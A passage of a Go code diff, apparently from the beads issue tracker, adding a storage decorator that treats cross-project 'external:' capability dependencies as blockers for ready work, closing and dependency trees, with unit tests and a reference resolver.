before applying the caller's page and row cap. +func unpagedBlockedFilter(filter types.WorkFilter) types.WorkFilter { + filter.Offset = 0 + filter.Limit = 0 + filter.MaxRows = 0 + filter.MaxRowsSource = "" + return filter +} + +func finishBlockedIssues(items []*types.BlockedIssue, filter types.WorkFilter) ([]*types.BlockedIssue, error) { + sort.Slice(items, func(i, j int) bool { + if items[i].Priority != items[j].Priority { + return items[i].Priority < items[j].Priority + } + if !items[i].CreatedAt.Equal(items[j].CreatedAt) { + return items[i].CreatedAt.After(items[j].CreatedAt) + } + return items[i].ID < items[j].ID + }) + if filter.Offset > 0 { + if filter.Offset >= len(items) { + items = nil + } else { + items = items[filter.Offset:] + } + } + if filter.Limit > 0 && len(items) > filter.Limit { + items = items[:filter.Limit] + } + if err := issueops.EnforceMaxRowsCap(len(items), filter.MaxRows, filter.MaxRowsSource); err != nil { + return nil, err + } + return items, nil +} + +func matchesParentFilter(issueID string, parentID *string, allDeps map[string][]*types.Dependency) bool { + if parentID == nil { + return true + } + if strings.HasPrefix(issueID, *parentID+".") { + return true + } + for _, dep := range allDeps[issueID] { + if dep != nil && dep.Type == types.DepParentChild && dep.DependsOnID == *parentID { + return true + } + } + return false +} + +// IsBlocked includes explicit unsatisfied external blockers in the close guard. +func (s *Store) IsBlocked(ctx context.Context, issueID string) (bool, []string, error) { + blocked, blockers, err := s.inner.IsBlocked(ctx, issueID) + if err != nil { + return false, nil, err + } + deps, err := s.inner.GetDependencyRecordsForIssues(ctx, []string{issueID}) + if err != nil { + return false, nil, err + } + refs := make([]reference, 0) + for _, dep := range deps[issueID] { + if dep != nil && dep.Type.IsBlockingEdge() && isExternalReference(dep.DependsOnID) { + refs = append(refs, parseReference(dep.DependsOnID)) + } + } + satisfied, err := s.resolveReferences(ctx, refs) + if err != nil { + return false, nil, err + } + for _, ref := range refs { + if !satisfied[ref.raw] { + blockers = appendUnique(blockers, ref.raw) + } + } + return blocked || len(blockers) > 0, blockers, nil +} + +// IsBlockedBatch preserves the external blocker invariant for batch callers. +// The embedded Dolt implementation promotes this method from the wrapped +// store, so it must be declared explicitly here rather than relying on +// IsBlocked alone. +func (s *Store) IsBlockedBatch(ctx context.Context, issueIDs []string) (map[string]bool, error) { + blocked, err := s.inner.IsBlockedBatch(ctx, issueIDs) + if err != nil { + return nil, err + } + deps, err := s.inner.GetDependencyRecordsForIssues(ctx, issueIDs) + if err != nil { + return nil, err + } + refs := make([]reference, 0) + for _, issueDeps := range deps { + for _, dep := range issueDeps { + if dep != nil && dep.Type.IsBlockingEdge() && isExternalReference(dep.DependsOnID) { + refs = append(refs, parseReference(dep.DependsOnID)) + } + } + } + satisfied, err := s.resolveReferences(ctx, refs) + if err != nil { + return nil, err + } + for issueID, issueDeps := range deps { + for _, dep := range issueDeps { + if dep != nil && dep.Type.IsBlockingEdge() && isExternalReference(dep.DependsOnID) && !satisfied[dep.DependsOnID] { + blocked[issueID] = true + } + } + } + return blocked, nil +} + +// CloseIssueChecked applies the external guard before the atomic local close. +// The local store cannot see foreign capability state, so promoting its method +// would allow an externally blocked issue to close without --force. +func (s *Store) CloseIssueChecked(ctx context.Context, issueID, actor string, opts storage.CloseIssueOptions) (storage.CloseIssueResult, error) { + if !opts.Force { + issue, err := s.inner.GetIssue(ctx, issueID) + if err != nil { + return storage.CloseIssueResult{}, err + } + if issue != nil && issue.Status != types.StatusClosed { + blocked, blockers, err := s.IsBlocked(ctx, issueID) + if err != nil { + return storage.CloseIssueResult{}, err + } + if blocked && len(blockers) > 0 { + return storage.CloseIssueResult{}, fmt.Errorf("%w: %s is blocked by %v", storage.ErrCloseBlocked, issueID, blockers) + } + } + } + return s.inner.CloseIssueChecked(ctx, issueID, actor, opts) +} + +// GetDependencyTree appends external refs as synthetic leaf nodes because no +// local issue row exists for the normal graph hydrator to return. +func (s *Store) GetDependencyTree(ctx context.Context, issueID string, maxDepth int, showAllPaths bool, reverse bool) ([]*types.TreeNode, error) { + tree, err := s.inner.GetDependencyTree(ctx, issueID, maxDepth, showAllPaths, reverse) + if err != nil || reverse || len(tree) == 0 { + return tree, err + } + + issueIDs := make([]string, 0, len(tree)) + for _, node := range tree { + if node != nil && !isExternalReference(node.ID) { + issueIDs = append(issueIDs, node.ID) + } + } + deps, err := s.inner.GetDependencyRecordsForIssues(ctx, issueIDs) + if err != nil { + return nil, fmt.Errorf("external dependencies: load tree edges: %w", err) + } + return s.appendTreeExternalReferences(ctx, tree, deps, maxDepth, showAllPaths) +} + +func (s *Store) appendTreeExternalReferences(ctx context.Context, tree []*types.TreeNode, deps map[string][]*types.Dependency, maxDepth int, showAllPaths bool) ([]*types.TreeNode, error) { + refs := make([]reference, 0) + for _, issueDeps := range deps { + for _, dep := range issueDeps { + if dep != nil && isExternalReference(dep.DependsOnID) { + refs = append(refs, parseReference(dep.DependsOnID)) + } + } + } + satisfied, err := s.resolveReferences(ctx, refs) + if err != nil { + return nil, err + } + + effectiveMaxDepth := maxDepth + if effectiveMaxDepth <= 0 { + effectiveMaxDepth = 50 + } + seen := make(map[string]bool, len(tree)+len(refs)) + for _, node := range tree { + if node != nil { + seen[node.ID] = true + } + } + for _, parent := range tree { + if parent == nil || parent.Depth >= effectiveMaxDepth { + continue + } + for _, dep := range deps[parent.ID] { + if dep == nil || !isExternalReference(dep.DependsOnID) { + continue + } + if !showAllPaths && seen[dep.DependsOnID] { + continue + } + ref := parseReference(dep.DependsOnID) + status := types.StatusOpen + title := "○ " + externalTitle(ref) + if satisfied[ref.raw] { + status = types.StatusClosed + title = "✓ " + externalTitle(ref) + } + tree = append(tree, &types.TreeNode{ + Issue: types.Issue{ + ID: dep.DependsOnID, + Title: title, + Status: status, + IssueType: types.TypeTask, + }, + Depth: parent.Depth + 1, + ParentID: parent.ID, + EdgeFromParent: dep.Type, + }) + seen[dep.DependsOnID] = true + } + } + return tree, nil +} + +func externalTitle(ref reference) string { + if ref.valid { + return string(ref.capability) + } + return ref.raw +} + +// IterReadyWork preserves the decorator semantics for iterator callers. +func (s *Store) IterReadyWork(ctx context.Context, filter types.WorkFilter) (storage.Iter[types.Issue], error) { + issues, err := s.GetReadyWork(ctx, filter) + if err != nil { + return nil, err + } + return storage.NewSliceIter(issues), nil +} + +// IterBlockedIssues preserves the decorator semantics for iterator callers. +func (s *Store) IterBlockedIssues(ctx context.Context, filter types.WorkFilter) (storage.Iter[types.BlockedIssue], error) { + issues, err := s.GetBlockedIssues(ctx, filter) + if err != nil { + return nil, err + } + return storage.NewSliceIter(issues), nil +} + +func appendUnique(values []string, value string) []string { + if slices.Contains(values, value) { + return values + } + return append(values, value) +} diff --git a/internal/storage/externaldeps/decorator_test.go b/internal/storage/externaldeps/decorator_test.go new file mode 100644 index 000000000..5c5b44708 --- /dev/null +++ b/internal/storage/externaldeps/decorator_test.go @@ -0,0 +1,605 @@ +package externaldeps + +import ( + "context" + "errors" + "slices" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +type fakeStore struct { + storage.DoltStorage + ready []*types.Issue + blocked []*types.BlockedIssue + tree []*types.TreeNode + deps map[string][]*types.Dependency + labels map[string][]*types.Issue + labelErr error + claimed []string + isBlocked bool + blockerIDs []string + closed []string + lifecycle publicops.Lifecycle +} + +func (f *fakeStore) IssueLifecycle() (publicops.Lifecycle, error) { return f.lifecycle, nil } + +type fakeLifecycle struct { + publicops.Lifecycle + closed int + updated int +} + +func (f *fakeLifecycle) Close(context.Context, publicops.CloseRequest) (publicops.CloseResult, error) { + f.closed++ + return publicops.CloseResult{}, nil +} + +func (f *fakeLifecycle) Update(context.Context, publicops.UpdateRequest) (publicops.UpdateResult, error) { + f.updated++ + return publicops.UpdateResult{}, nil +} + +func (f *fakeStore) GetReadyWork(_ context.Context, filter types.WorkFilter) ([]*types.Issue, error) { + candidates := make([]*types.Issue, 0, len(f.ready)) + for _, issue := range f.ready { + if !slices.Contains(filter.ExcludeIDs, issue.ID) { + candidates = append(candidates, issue) + } + } + return page(candidates, filter.Offset, filter.Limit), nil +} + +func (f *fakeStore) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, error) { + issues, err := f.GetReadyWork(ctx, filter) + if err != nil { + return nil, err + } + result := make([]*types.IssueWithCounts, 0, len(issues)) + for _, issue := range issues { + result = append(result, &types.IssueWithCounts{Issue: issue}) + } + return result, nil +} + +func (f *fakeStore) GetBlockedIssues(_ context.Context, _ types.WorkFilter) ([]*types.BlockedIssue, error) { + return slices.Clone(f.blocked), nil +} + +func (f *fakeStore) IsBlocked(_ context.Context, _ string) (bool, []string, error) { + return f.isBlocked, slices.Clone(f.blockerIDs), nil +} + +func (f *fakeStore) IsBlockedBatch(_ context.Context, ids []string) (map[string]bool, error) { + result := make(map[string]bool, len(ids)) + for _, id := range ids { + result[id] = f.isBlocked + } + return result, nil +} + +func (f *fakeStore) CloseIssueChecked(ctx context.Context, id, _ string, _ storage.CloseIssueOptions) (storage.CloseIssueResult, error) { + issue, err := f.GetIssue(ctx, id) + if err != nil { + return storage.CloseIssueResult{}, err + } + if issue == nil { + return storage.CloseIssueResult{}, storage.ErrNotFound + } + if issue.Status == types.StatusClosed { + return storage.CloseIssueResult{Unchanged: true}, nil + } + issue.Status = types.StatusClosed + f.closed = append(f.closed, id) + return storage.CloseIssueResult{}, nil +} + +func (f *fakeStore) GetAllDependencyRecords(_ context.Context) (map[string][]*types.Dependency, error) { + return f.deps, nil +} + +func (f *fakeStore) GetExternalBlockingDependencyRecords(_ context.Context) (map[string][]*types.Dependency, error) { + return f.deps, nil +} + +func (f *fakeStore) GetDependencyRecordsForIssues(_ context.Context, issueIDs []string) (map[string][]*types.Dependency, error) { + result := make(map[string][]*types.Dependency) + for _, id := range issueIDs { + result[id] = f.deps[id] + } + return result, nil +} + +func (f *fakeStore) GetIssuesByLabel(_ context.Context, label string) ([]*types.Issue, error) { + if f.labelErr != nil { + return nil, f.labelErr + } + return f.labels[label], nil +} + +func (f *fakeStore) GetDependencyTree(_ context.Context, _ string, _ int, _ bool, _ bool) ([]*types.TreeNode, error) { + return slices.Clone(f.tree), nil +} + +func (f *fakeStore) ClaimIssue(_ context.Context, id, actor string) error { + for _, issue := range f.ready { + if issue.ID == id { + if issue.Assignee != "" { + return storage.ErrAlreadyClaimed + } + issue.Assignee = actor + issue.Status = types.StatusInProgress + f.claimed = append(f.claimed, id) + return nil + } + } + return storage.ErrNotFound +} + +func (f *fakeStore) ClaimReadyIssue(ctx context.Context, filter types.WorkFilter, actor string) (*types.Issue, error) { + filter.Limit = 1 + issues, err := f.GetReadyWork(ctx, filter) + if err != nil || len(issues) == 0 { + return nil, err + } + if err := f.ClaimIssue(ctx, issues[0].ID, actor); err != nil { + return nil, err + } + return f.GetIssue(ctx, issues[0].ID) +} + +func (f *fakeStore) GetIssue(_ context.Context, id string) (*types.Issue, error) { + for _, issue := range f.ready { + if issue.ID == id { + return issue, nil + } + } + for _, blocked := range f.blocked { + if blocked.ID == id { + return &blocked.Issue, nil + } + } + return nil, nil +} + +func (f *fakeStore) GetIssuesByIDs(ctx context.Context, ids []string) ([]*types.Issue, error) { + result := make([]*types.Issue, 0, len(ids)) + for _, id := range ids { + issue, err := f.GetIssue(ctx, id) + if err != nil { + return nil, err + } + if issue != nil { + result = append(result, issue) + } + } + return result, nil +} + +func (f *fakeStore) Close() error { return nil } + +func page[T any](items []*T, offset, limit int) []*T { + if offset >= len(items) { + return nil + } + if offset < 0 { + offset = 0 + } + end := len(items) + if limit > 0 && offset+limit < end { + end = offset + limit + } + return slices.Clone(items[offset:end]) +} + +func issue(id string) *types.Issue { + return &types.Issue{ID: id, Title: id, Status: types.StatusOpen, IssueType: types.TypeTask} +} + +func blockedIssueIDs(items []*types.BlockedIssue) []string { + ids := make([]string, 0, len(items)) + for _, item := range items { + if item != nil { + ids = append(ids, item.ID) + } + } + return ids +} + +func externalDep(source, ref string, depType types.DependencyType) *types.Dependency { + return &types.Dependency{IssueID: source, DependsOnID: ref, Type: depType} +} + +func testStore(raw, foreign *fakeStore, configured bool) *Store { + return New( + raw, + func(project ProjectName) (string, bool) { + if !configured || project != "remote" { + return "", false + } + return "/projects/remote", true + }, + func(_ context.Context, path string) (storage.DoltStorage, error) { + if path != "/projects/remote" { + return nil, errors.New("unexpected path") + } + return foreign, nil + }, + ) +} + +func TestGetReadyWorkFiltersExternalBlockerAndFillsPage(t *testing.T) { + a, b, c := issue("be-a"), issue("be-b"), issue("be-c") + raw := &fakeStore{ + ready: []*types.Issue{a, b, c}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + }, + } + store := testStore(raw, &fakeStore{}, true) + + got, err := store.GetReadyWork(t.Context(), types.WorkFilter{Limit: 2}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if ids := issueIDs(got); !slices.Equal(ids, []string{"be-b", "be-c"}) { + t.Fatalf("ready IDs = %v, want [be-b be-c]", ids) + } +} + +func TestGetReadyWorkHonorsShippedAndNonBlockingExternalRefs(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + raw := &fakeStore{ + ready: []*types.Issue{a, b}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + b.ID: {externalDep(b.ID, "external:remote:future", types.DepTracks)}, + }, + } + foreign := &fakeStore{labels: map[string][]*types.Issue{ + "provides:payments": {{ID: "remote-done", Status: types.StatusClosed}}, + }} + store := testStore(raw, foreign, true) + + got, err := store.GetReadyWork(t.Context(), types.WorkFilter{}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if ids := issueIDs(got); !slices.Equal(ids, []string{"be-a", "be-b"}) { + t.Fatalf("ready IDs = %v, want [be-a be-b]", ids) + } +} + +func TestGetReadyWorkFailsClosedForUnconfiguredProject(t *testing.T) { + a := issue("be-a") + raw := &fakeStore{ + ready: []*types.Issue{a}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + }, + } + store := testStore(raw, &fakeStore{}, false) + + got, err := store.GetReadyWork(t.Context(), types.WorkFilter{}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if len(got) != 0 { + t.Fatalf("ready = %v, want no issues", issueIDs(got)) + } +} + +func TestGetReadyWorkFailsClosedWhenForeignReadFails(t *testing.T) { + a := issue("be-a") + raw := &fakeStore{ready: []*types.Issue{a}, deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + }} + store := testStore(raw, &fakeStore{labelErr: errors.New("foreign database unavailable")}, true) + + got, err := store.GetReadyWork(t.Context(), types.WorkFilter{}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if len(got) != 0 { + t.Fatalf("ready = %v, want no issues after foreign read failure", issueIDs(got)) + } +} + +func TestGetReadyWorkOpensEachForeignProjectOnce(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + raw := &fakeStore{ + ready: []*types.Issue{a, b}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + b.ID: {externalDep(b.ID, "external:remote:identity", types.DepBlocks)}, + }, + } + foreign := &fakeStore{} + openCount := 0 + store := New( + raw, + func(ProjectName) (string, bool) { return "/projects/remote", true }, + func(context.Context, string) (storage.DoltStorage, error) { + openCount++ + return foreign, nil + }, + ) + + if _, err := store.GetReadyWork(t.Context(), types.WorkFilter{}); err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if openCount != 1 { + t.Fatalf("foreign project opens = %d, want 1", openCount) + } +} + +func TestClaimReadyIssueSkipsExternalBlocker(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + raw := &fakeStore{ + ready: []*types.Issue{a, b}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + }, + } + store := testStore(raw, &fakeStore{}, true) + + got, err := store.ClaimReadyIssue(t.Context(), types.WorkFilter{}, "worker") + if err != nil { + t.Fatalf("ClaimReadyIssue: %v", err) + } + if got == nil || got.ID != b.ID { + t.Fatalf("claimed = %+v, want %s", got, b.ID) + } + if !slices.Equal(raw.claimed, []string{b.ID}) { + t.Fatalf("claim attempts = %v, want [%s]", raw.claimed, b.ID) + } +} + +func TestCountReadyWorkUsesExternalPolicy(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + raw := &fakeStore{ + ready: []*types.Issue{a, b}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + }, + } + store := testStore(raw, &fakeStore{}, true) + + got, err := store.CountReadyWork(t.Context(), types.WorkFilter{}) + if err != nil { + t.Fatalf("CountReadyWork: %v", err) + } + if got != 1 { + t.Fatalf("ready count = %d, want 1", got) + } +} + +func TestGetBlockedIssuesAddsUnsatisfiedExternalRefs(t *testing.T) { + a, c := issue("be-a"), issue("be-c") + raw := &fakeStore{ + ready: []*types.Issue{a}, + blocked: []*types.BlockedIssue{{ + Issue: *c, + BlockedByCount: 1, + BlockedBy: []string{"be-local"}, + }}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + c.ID: {externalDep(c.ID, "external:remote:identity", types.DepBlocks)}, + }, + } + store := testStore(raw, &fakeStore{}, true) + + got, err := store.GetBlockedIssues(t.Context(), types.WorkFilter{}) + if err != nil { + t.Fatalf("GetBlockedIssues: %v", err) + } + byID := make(map[string]*types.BlockedIssue, len(got)) + for _, blocked := range got { + byID[blocked.ID] = blocked + } + if !slices.Equal(byID[a.ID].BlockedBy, []string{"external:remote:payments"}) { + t.Fatalf("%s blockers = %v", a.ID, byID[a.ID].BlockedBy) + } + if !slices.Equal(byID[c.ID].BlockedBy, []string{"be-local", "external:remote:identity"}) { + t.Fatalf("%s blockers = %v", c.ID, byID[c.ID].BlockedBy) + } +} + +func TestIssueLifecycleRefusesExternalCloseAndDoneUpdate(t *testing.T) { + issue := issue("be-external") + lifecycle := &fakeLifecycle{} + raw := &fakeStore{ + ready: []*types.Issue{issue}, + lifecycle: lifecycle, + deps: map[string][]*types.Dependency{ + issue.ID: {externalDep(issue.ID, "external:remote:payments", types.DepBlocks)}, + }, + } + store := testStore(raw, &fakeStore{}, false) + ops, err := store.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle: %v", err) + } + if _, err := ops.Close(t.Context(), publicops.CloseRequest{IssueID: issue.ID}); !errors.Is(err, storage.ErrCloseBlocked) { + t.Fatalf("Close error = %v, want ErrCloseBlocked", err) + } + if _, err := ops.Update(t.Context(), publicops.UpdateRequest{IssueID: issue.ID, Patch: publicops.IssuePatch{ + Status: publicops.Field[types.Status]{Set: true, Value: types.StatusClosed}, + }}); !errors.Is(err, storage.ErrCloseBlocked) { + t.Fatalf("Update error = %v, want ErrCloseBlocked", err) + } + if lifecycle.closed != 0 || lifecycle.updated != 0 { + t.Fatalf("inner lifecycle calls = close:%d update:%d, want zero", lifecycle.closed, lifecycle.updated) + } +} + +func TestGetBlockedIssuesPaginatesCombinedExternalResults(t *testing.T) { + local, external := issue("be-local"), issue("be-external") + createdAt := time.Date(2026, time.August, 2, 0, 0, 0, 0, time.UTC) + local.Priority, external.Priority = 0, 0 + local.CreatedAt, external.CreatedAt = createdAt, createdAt + raw := &fakeStore{ + ready: []*types.Issue{external}, + blocked: []*types.BlockedIssue{{Issue: *local, BlockedBy: []string{"be-local-blocker"}, BlockedByCount: 1}}, + deps: map[string][]*types.Dependency{ + external.ID: {externalDep(external.ID, "external:remote:payments", types.DepBlocks)}, + }, + } + store := testStore(raw, &fakeStore{}, false) + + first, err := store.GetBlockedIssues(t.Context(), types.WorkFilter{Limit: 1}) + if err != nil { + t.Fatalf("GetBlockedIssues first page: %v", err) + } + if ids := blockedIssueIDs(first); !slices.Equal(ids, []string{external.ID}) { + t.Fatalf("first page IDs = %v, want [%s]", ids, external.ID) + } + second, err := store.GetBlockedIssues(t.Context(), types.WorkFilter{Offset: 1, Limit: 1}) + if err != nil { + t.Fatalf("GetBlockedIssues second page: %v", err) + } + if ids := blockedIssueIDs(second); !slices.Equal(ids, []string{local.ID}) { + t.Fatalf("second page IDs = %v, want [%s]", ids, local.ID) + } + _, err = store.GetBlockedIssues(t.Context(), types.WorkFilter{MaxRows: 1, MaxRowsSource: "--max-rows"}) + var capErr *issueops.ErrTooManyRows + if !errors.As(err, &capErr) { + t.Fatalf("GetBlockedIssues MaxRows error = %v, want ErrTooManyRows", err) + } +} + +func TestIsBlockedIncludesUnsatisfiedExternalRef(t *testing.T) { + a := issue("be-a") + ref := "external:remote:payments" + raw := &fakeStore{ + ready: []*types.Issue{a}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, ref, types.DepBlocks)}, + }, + } + store := testStore(raw, &fakeStore{}, true) + + blocked, blockers, err := store.IsBlocked(t.Context(), a.ID) + if err != nil { + t.Fatalf("IsBlocked: %v", err) + } + if !blocked || !slices.Equal(blockers, []string{ref}) { + t.Fatalf("IsBlocked = %v, %v; want true, [%s]", blocked, blockers, ref) + } +} + +func TestIsBlockedBatchIncludesUnsatisfiedExternalRef(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + ref := "external:remote:payments" + raw := &fakeStore{ready: []*types.Issue{a, b}, deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, ref, types.DepBlocks)}, + }} + store := testStore(raw, &fakeStore{}, true) + + got, err := store.IsBlockedBatch(t.Context(), []string{a.ID, b.ID}) + if err != nil { + t.Fatalf("IsBlockedBatch: %v", err) + } + if !got[a.ID] || got[b.ID] { + t.Fatalf("IsBlockedBatch = %v, want only %s blocked", got, a.ID) + } +} + +func TestCloseIssueCheckedRefusesUnsatisfiedExternalRef(t *testing.T) { + a := issue("be-a") + ref := "external:remote:payments" + raw := &fakeStore{ready: []*types.Issue{a}, deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, ref, types.DepBlocks)}, + }} + store := testStore(raw, &fakeStore{}, true) + + if _, err := store.CloseIssueChecked(t.Context(), a.ID, "tester", storage.CloseIssueOptions{}); !errors.Is(err, storage.ErrCloseBlocked) { + t.Fatalf("CloseIssueChecked error = %v, want ErrCloseBlocked", err) + } + if len(raw.closed) != 0 { + t.Fatalf("raw close calls = %v, want none", raw.closed) + } + if _, err := store.CloseIssueChecked(t.Context(), a.ID, "tester", storage.CloseIssueOptions{Force: true}); err != nil { + t.Fatalf("forced CloseIssueChecked: %v", err) + } +} + +func TestGetDependencyTreeAddsResolvedExternalLeaf(t *testing.T) { + root := issue("be-root") + ref := "external:remote:payments" + raw := &fakeStore{ + tree: []*types.TreeNode{{Issue: *root}}, + deps: map[string][]*types.Dependency{ + root.ID: {externalDep(root.ID, ref, types.DepBlocks)}, + }, + } + foreign := &fakeStore{labels: make(map[string][]*types.Issue)} + store := testStore(raw, foreign, true) + + tree, err := store.GetDependencyTree(t.Context(), root.ID, 10, false, false) + if err != nil { + t.Fatalf("GetDependencyTree: %v", err) + } + if len(tree) != 2 { + t.Fatalf("tree length = %d, want 2", len(tree)) + } + leaf := tree[1] + if leaf.ID != ref || leaf.Status != types.StatusOpen || leaf.ParentID != root.ID || leaf.EdgeFromParent != types.DepBlocks { + t.Fatalf("external leaf = %+v", leaf) + } + + foreign.labels["provides:payments"] = []*types.Issue{{ID: "remote-done", Status: types.StatusClosed}} + tree, err = store.GetDependencyTree(t.Context(), root.ID, 10, false, false) + if err != nil { + t.Fatalf("GetDependencyTree after ship: %v", err) + } + if tree[1].Status != types.StatusClosed { + t.Fatalf("shipped external status = %s, want closed", tree[1].Status) + } +} + +func TestUnavailableProjectWarnsOnce(t *testing.T) { + a := issue("be-a") + ref := "external:remote:payments" + raw := &fakeStore{ + ready: []*types.Issue{a}, + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, ref, types.DepBlocks)}, + }, + } + store := testStore(raw, &fakeStore{}, false) + var warnings []ProjectName + store.warnProject = func(project ProjectName) { warnings = append(warnings, project) } + + for range 2 { + if _, err := store.GetReadyWork(t.Context(), types.WorkFilter{}); err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + } + if !slices.Equal(warnings, []ProjectName{"remote"}) { + t.Fatalf("warnings = %v, want [remote]", warnings) + } +} + +func TestUnwrapReturnsInnerStore(t *testing.T) { + raw := &fakeStore{} + store := testStore(raw, &fakeStore{}, true) + if got := store.Unwrap(); got != raw { + t.Fatalf("Unwrap() = %T %p, want raw %p", got, got, raw) + } +} + +func issueIDs(issues []*types.Issue) []string { + ids := make([]string, 0, len(issues)) + for _, issue := range issues { + ids = append(ids, issue.ID) + } + return ids +} diff --git a/internal/storage/externaldeps/ready_wake_test.go b/internal/storage/externaldeps/ready_wake_test.go new file mode 100644 index 000000000..fc280f47b --- /dev/null +++ b/internal/storage/externaldeps/ready_wake_test.go @@ -0,0 +1,67 @@ +package externaldeps + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +type wakeStore struct { + *fakeStore + wake func() +} + +func (s *wakeStore) WakeExpiredDefersAdvisory(context.Context) { s.wake() } + +func (s *wakeStore) SearchIssuesWithCounts(ctx context.Context, _ string, filter types.IssueFilter) ([]*types.IssueWithCounts, error) { + rows := make([]*types.IssueWithCounts, 0, len(filter.IDs)) + for _, id := range filter.IDs { + row, err := s.GetIssue(ctx, id) + if err != nil { + return nil, err + } + rows = append(rows, &types.IssueWithCounts{Issue: row}) + } + return rows, nil +} + +func TestReadyClaimerWakesBeforeExternalFilteredSelection(t *testing.T) { + for _, sweepSucceeds := range []bool{true, false} { + name := "wake succeeds" + if !sweepSucceeds { + name = "failed advisory wake still allows claim" + } + t.Run(name, func(t *testing.T) { + blocked, eligible := issue("be-blocked"), issue("be-eligible") + raw := &fakeStore{deps: map[string][]*types.Dependency{ + blocked.ID: {externalDep(blocked.ID, "external:remote:payments", types.DepBlocks)}, + }} + if !sweepSucceeds { + raw.ready = []*types.Issue{blocked, eligible} + } + wakes := 0 + backend := &wakeStore{fakeStore: raw, wake: func() { + wakes++ + if sweepSucceeds { + raw.ready = []*types.Issue{blocked, eligible} + } + }} + // An intervening decorator must not hide the wake capability. + inner := storage.NewHookFiringStore(backend, nil) + claimer, err := New(inner, nil, nil).ReadyClaimer() + if err != nil { + t.Fatal(err) + } + got, err := claimer.ClaimNext(t.Context(), publicops.ClaimNextRequest{Actor: "worker"}) + if err != nil { + t.Fatal(err) + } + if wakes != 1 || got.Claimed == nil || got.Claimed.ID != eligible.ID { + t.Fatalf("wakes=%d, claimed=%v; want one wake and %s", wakes, got.Claimed, eligible.ID) + } + }) + } +} diff --git a/internal/storage/externaldeps/resolver.go b/internal/storage/externaldeps/resolver.go new file mode 100644 index 000000000..2caeceb95 --- /dev/null +++ b/internal/storage/externaldeps/resolver.go @@ -0,0 +1,124 @@ +// Package externaldeps resolves explicit cross-project capability dependencies. +package externaldeps + +import ( + "context" + "fmt" + "os" + "strings" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" +) + +const externalPrefix = "external:" + +func defaultProjectWarning(project ProjectName) { + fmt.Fprintf(os.Stderr, "Warning: external project %q is unavailable; its capability dependencies remain blocking\n", project) +} + +// ProjectName is the configured name in external_projects. +type ProjectName string + +// CapabilityName is the suffix matched by a provides: label. +type CapabilityName string + +// ProjectLocator resolves a configured project name to its workspace root. +// The bool is false when the project is not configured or unavailable. +type ProjectLocator func(ProjectName) (string, bool) + +// StoreOpener opens a project workspace as a read-only store. +type StoreOpener func(context.Context, string) (storage.DoltStorage, error) + +type reference struct { + raw string + project ProjectName + capability CapabilityName + valid bool +} + +func parseReference(raw string) reference { + ref := reference{raw: raw} + if !strings.HasPrefix(raw, externalPrefix) { + return ref + } + parts := strings.SplitN(raw, ":", 3) + if len(parts) != 3 || parts[1] == "" || parts[2] == "" { + return ref + } + ref.project = ProjectName(parts[1]) + ref.capability = CapabilityName(parts[2]) + ref.valid = true + return ref +} + +func isExternalReference(raw string) bool { + return strings.HasPrefix(raw, externalPrefix) +} + +// resolveReferences returns ref -> satisfied. Every ref starts unsatisfied; +// malformed refs and foreign-store failures therefore fail closed. +func (s *Store) resolveReferences(ctx context.Context, refs []reference) (map[string]bool, error) { + result := make(map[string]bool, len(refs)) + byProject := make(map[ProjectName]map[CapabilityName][]string) + for _, ref := range refs { + result[ref.raw] = false + if !ref.valid { + continue + } + if byProject[ref.project] == nil { + byProject[ref.project] = make(map[CapabilityName][]string) + } + byProject[ref.project][ref.capability] = append(byProject[ref.project][ref.capability], ref.raw) + } + + if s.locateProject == nil || s.openProject == nil { + return result, nil + } + + for project, capabilities := range byProject { + if err := ctx.Err(); err != nil { + return nil, err + } + path, ok := s.locateProject(project) + if !ok { + s.warnUnresolvedProject(project) + continue + } + foreign, err := s.openProject(ctx, path) + if err != nil || foreign == nil { + if ctxErr := ctx.Err(); ctxErr != nil { + return nil, ctxErr + } + s.warnUnresolvedProject(project) + continue + } + + for capability, rawRefs := range capabilities { + issues, queryErr := foreign.GetIssuesByLabel(ctx, "provides:"+string(capability)) + if queryErr != nil { + if ctxErr := ctx.Err(); ctxErr != nil { + _ = foreign.Close() + return nil, ctxErr + } + s.warnUnresolvedProject(project) + continue + } + satisfied := false + for _, issue := range issues { + if issue != nil && issue.Status == types.StatusClosed { + satisfied = true + break + } + } + if satisfied { + for _, raw := range rawRefs { + result[raw] = true + } + } + } + _ 